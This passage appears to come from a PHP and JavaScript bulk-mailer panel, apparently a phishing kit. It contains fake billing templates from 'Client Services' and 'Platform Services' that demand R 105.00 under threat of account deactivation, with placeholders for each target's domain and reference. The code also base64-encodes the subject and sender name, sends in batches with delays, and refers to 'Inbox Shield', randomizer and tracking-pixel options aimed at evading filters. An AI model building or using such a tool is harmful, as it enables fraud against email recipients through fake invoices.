style="padding:12px 18px;color:#2d2d2d;font-size:14px">PRV-[-shortid-] for [-emaildomain-]</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">Settle using a card for same-day processing, or via EFT quoting the reference. Allow up to 2 working days for EFT to reflect.</p>\n'+tplBtn('View Account')+'\n</td></tr>'},
6:{name:'Client Services',subj:'[-emaildomain-] - settle your account ref [-shortid-]',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Hello,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">Please settle your account to avoid the deactivation of your service.</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Due date</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">16/03/2026</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px">I260023097810 issued on 16/02/2026</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">You can make a card or debit transaction for same-day processing. If you choose EFT, use the reference above and allow up to 48 hours for allocation.</p>\n'+tplBtn('Settle Account')+'\n</td></tr>'},
7:{name:'Platform Services',subj:'Ref [-shortid-] - [-emaildomain-] account note',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Dear client,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">This is a courtesy note regarding a balance on your account that requires your attention.</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Arrangement ends</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">[-date-]</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px">[-shortid-] for [-emaildomain-]</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">Use your dashboard to settle by card, or arrange an EFT quoting the reference above. Allow 1-2 business days for EFT processing.</p>\n'+tplBtn('Open Dashboard')+'\n</td></tr>'}
};
var t=T[n];if(!t)return;
document.getElementById('from_name').value=t.name;
document.getElementById('subject').value=t.subj;
document.getElementById('custom_headers').value=espHeaders();
document.getElementById('html_message').value=tplWrap(t.body);
// Apply base64 if checkbox is on
if(document.getElementById('b64enc').checked){
document.getElementById('subject').value=b64e(t.subj);
document.getElementById('from_name').value=b64e(t.name);
}
// Trigger save + preview
['from_name','subject','custom_headers','html_message'].forEach(function(id){
var el=document.getElementById(id);if(el)el.dispatchEvent(new Event('input',{bubbles:true}));
});
setTimeout(function(){if(typeof upPv==='function')upPv();},300);
}
function startSend(){var req=['from_email','subject','html_message','email_list'],ok=true;req.forEach(function(f){var el=document.getElementById(f);if(!el.value.trim()){el.style.borderColor='#ef4444';ok=false;}else el.style.borderColor='';});if(!ok)return;var n=document.getElementById('email_list').value.trim().split('\n').filter(function(e){return e.trim()!=='';}).length;if(!confirm('Send '+n+' emails via localhost?'))return;var btn=document.getElementById('btnS');btn.disabled=true;btn.textContent='Sending...';document.getElementById('pW').style.display='block';var fl=document.getElementById('pF'),tx=document.getElementById('pT'),lg=document.getElementById('sL');fl.style.width='0%';fl.style.background='linear-gradient(90deg,#cbd5e1,#94a3b8)';tx.textContent='0%';lg.innerHTML='';var fd=new FormData();fd.append('ajax_lite_send','1');['from_email','from_name','subject','html_message','email_list','reply_to','custom_headers','redirect_url','logo_url','email_delay','batch_size'].forEach(function(f){fd.append(f,document.getElementById(f).value);});document.querySelectorAll('.ch input[type=checkbox]:checked,.pn input[type=text][name],.pn input[type=number][name],.pn textarea[name]').forEach(function(el){if(el.name&&!fd.has(el.name)){if(el.type==='checkbox')fd.append(el.name,el.value);else fd.append(el.name,el.value);}});var xhr=new XMLHttpRequest();xhr.open('POST',location.href,true);var lp=0,sO=0,sF=0;xhr.onprogress=function(){var ls=xhr.responseText.substring(lp).split('\n');lp=xhr.responseText.length;ls.forEach(function(ln){ln=ln.trim();if(!ln)return;try{var o=JSON.parse(ln);if(o.type==='start')lg.innerHTML+='<span style="color:#93c5fd">>> '+o.total+' emails (batch:'+o.batch_size+')</span>\n';else if(o.type==='batch')lg.innerHTML+='<span style="color:#818cf8">[Batch '+o.batch+'/'+o.batches+'</span>\n';else if(o.type==='result'){var c=o.status==='sent'?'#4ade80':(o.status==='invalid'?'#fbbf24':'#f87171');if(o.status==='sent')sO++;else sF++;lg.innerHTML+='<span style="color:'+c+'">'+o.current+'/'+o.total+' '+o.email+' '+o.status+'</span>\n';lg.scrollTop=lg.scrollHeight;fl.style.width=o.progress+'%';tx.textContent=Math.round(o.progress)+'% '+sO+' ok '+sF+' fail';}else if(o.completed){lg.innerHTML+='<span style="color:#93c5fd;font-weight:700">[OK] '+o.success+'/'+o.total+' sent</span>\n';fl.style.width='100%';fl.style.background=o.failed===0?'linear-gradient(90deg,#22c55e,#4ade80)':'linear-gradient(90deg,#f59e0b,#fbbf24)';tx.textContent=o.success+'/'+o.total;}}catch(e){}});};xhr.onloadend=function(){btn.disabled=false;btn.innerHTML='<svg width="16" height="16"><use href="#i-send"/></svg> Send via Localhost';};xhr.send(fd);}
// -- localStorage auto-save/restore (persists across refresh) --
var _Q={};
function _ls(k,v){_Q[k]=v;clearTimeout(_Q['_t'+k]);_Q['_t'+k]=setTimeout(function(){try{localStorage.setItem(k,v);}catch(e){}delete _Q[k];delete _Q['_t'+k];},200);}
function _lsFlush(){for(var k in _Q){if(k.indexOf('_t')!==0){try{localStorage.setItem(k,_Q[k]);}catch(e){}}}}
window.addEventListener('beforeunload',_lsFlush);
(function(){
var P='mml_';
// 1. Restore and save text/textarea fields by ID
var fids=['from_email','from_name','subject','reply_to','redirect_url','logo_url','custom_headers','html_message','email_list','batch_size','email_delay'];
fids.forEach(function(id){
    var el=document.getElementById(id);if(!el)return;
    var sv=localStorage.getItem(P+id);
    if(sv!==null&&sv!==''){el.value=sv;}
    function sav(){_ls(P+id,el.value);}
    el.addEventListener('input',sav);
    el.addEventListener('change',sav);
    el.addEventListener('blur',sav);
});
// 2. Restore and save named inputs without id (preheader, pixel url, ranges)
document.querySelectorAll('.pn input[name],.pn textarea[name]').forEach(function(el){
    if(!el.name)return;
    // Skip if already handled by ID above
    if(el.id&&fids.indexOf(el.id)!==-1)return;
    var key=P+'n_'+el.name;
    var sv=localStorage.getItem(key);
    if(sv!==null&&sv!==''){
        if(el.type==='checkbox')el.checked=sv==='1';
        else el.value=sv;
    }
    function sav(){
        if(el.type==='checkbox')_ls(key,el.checked?'1':'0');
        else _ls(key,el.value);
    }
    el.addEventListener('input',sav);
    el.addEventListener('change',sav);
});
// 3. Restore and save all Inbox Shield / Randomizer / Creative checkboxes
document.querySelectorAll('.ch input[type=checkbox]').forEach(function(el){
    if(!el.name)return;
    var key=P+'c_'+el.name;
    var sv=localStorage.getItem(key);
    if(sv!==null)el.checked=sv==='1';
    el.addEventListener('change',function(){_ls(key,el.checked?'1':'0');});
});
// 4. Update UI after restore
setTimeout(function(){
    uC();
    if(typeof upPv==='function')upPv();
    if(typeof dPU==='function')dPU();
},300);
})();
</script></body></html>
<?php }
?>